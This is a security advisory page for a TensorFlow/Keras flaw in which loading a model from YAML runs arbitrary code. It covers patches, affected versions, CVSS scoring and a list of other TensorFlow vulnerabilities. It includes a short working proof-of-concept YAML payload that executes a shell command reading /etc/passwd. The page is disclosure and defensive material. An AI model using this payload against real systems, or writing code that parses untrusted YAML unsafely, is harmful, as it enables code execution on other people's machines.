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High

Arbitrary code execution due to YAML deserialization

  • Disclosed: 12.08.2021
  • Updated: 11.10.2026 13:19

Impact

TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.

python
from tensorflow.keras import models

payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
  
models.model_from_yaml(payload)

The implementation uses yaml.unsafe_load which can perform arbitrary code execution on the input.

Patches

Given that YAML format support requires a significant amount of work, we have removed it for now.

We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Arjun Shibu.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tensorflow < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-cpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-gpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1

References

CVSS score 9.3/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
tensorflow, tensorflow-cpu, tensorflow-gpu
Disclosed
12.08.2021
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2021-300 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-591 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-789 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-r6jx-9g48-2r5r - CC BY 4.0

Vulnerability history: tensorflow-gpu

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (427) in the archive
Total entries
427
First → latest
04.2019 07.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 109
  • Medium 207
  • Low 105

Disclosures per year

Severity:
  1. Arbitrary code execution due to YAML deserialization this entry
    High · 9.3 CVE-2021-37678 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  2. TensorFlow has segfault in array_ops.upper_bound
    High · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  3. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    High · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    High · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  5. TensorFlow vulnerable to integer overflow in EditDistance
    High · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    High · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  7. TensorFlow has Null Pointer Error in SparseSparseMaximum
    High · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. TensorFlow has Floating Point Exception in AudioSpectrogram
    High · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Critical · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  10. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    High · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  11. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    High · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  12. TensorFlow has Null Pointer Error in LookupTableImportV2
    High · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  13. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    High · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  14. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    High · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  15. TensorFlow has Segfault in Bincount with XLA
    High · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  16. TensorFlow has null dereference on ParallelConcat with XLA
    High · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  17. TensorFlow has double free in Fractional(Max/Avg)Pool
    High · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  18. TensorFlow has Floating Point Exception in TFLite in conv kernel
    High · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  19. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    High · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  20. Out of bounds write in grappler in Tensorflow
    High · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    High · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  22. TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
    High · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  23. TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
    High · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. Code injection in `saved_model_cli` in TensorFlow
    High · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  25. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow
    High · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
    Critical · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  27. Improper Validation of Integrity Check Value in TensorFlow
    High · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. Out of bounds read in Tensorflow
    High · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  29. Read and Write outside of bounds in TensorFlow
    High · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  30. Insecure temporary file in Tensorflow
    High · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  31. Out of bounds read in Tensorflow
    High · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  32. Stack overflow in TensorFlow
    High · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  33. Out of bounds read and write in Tensorflow
    High · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  34. Uninitialized variable access in Tensorflow
    High · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Integer overflow in Tensorflow
    High · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Out of bounds write in TFLite
    High · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Integer overflow in TFLite
    High · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Out of bounds write in Tensorflow
    High · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Use after free in `DecodePng` kernel
    High · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  40. Integer overflow in TFLite array creation
    High · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  41. Integer overflow in TensorFlow
    High · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  42. Heap overflow in Tensorflow
    High · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  43. Division by zero in TFLite
    High · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  44. Null pointer dereference in TensorFlow
    High · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Assertion failure based denial of service in Tensorflow
    High · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Integer overflow leading to crash in Tensorflow
    High · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. `CHECK`-fails when building invalid tensor shapes in Tensorflow
    High · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. Overflow and uncaught divide by zero in Tensorflow
    High · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. `CHECK`-failures in Tensorflow
    High · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. Division by zero in Tensorflow
    High · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. Undefined behavior in `SparseTensorSliceDataset`
    High · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. Type confusion leading to segfault in Tensorflow
    High · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Integer overflows in Tensorflow
    High · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Integer overflows in Tensorflow
    High · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Out of bounds read in Tensorflow
    High · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Out of bounds read in Tensorflow
    High · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  57. Integer overflow in Tensorflow
    High · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  58. Out of bounds read in Tensorflow
    High · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  59. Access to invalid memory during shape inference in `Cudnn*` ops
    High · 7.8 CVE-2021-41221 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  60. Use after free / memory leak in `CollectiveReduceV2`
    High · 7.8 CVE-2021-41220 >= 2.6.0, < 2.6.1 2.6.1
  61. Incomplete validation in boosted trees code
    Critical · 9.3 CVE-2021-41208 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
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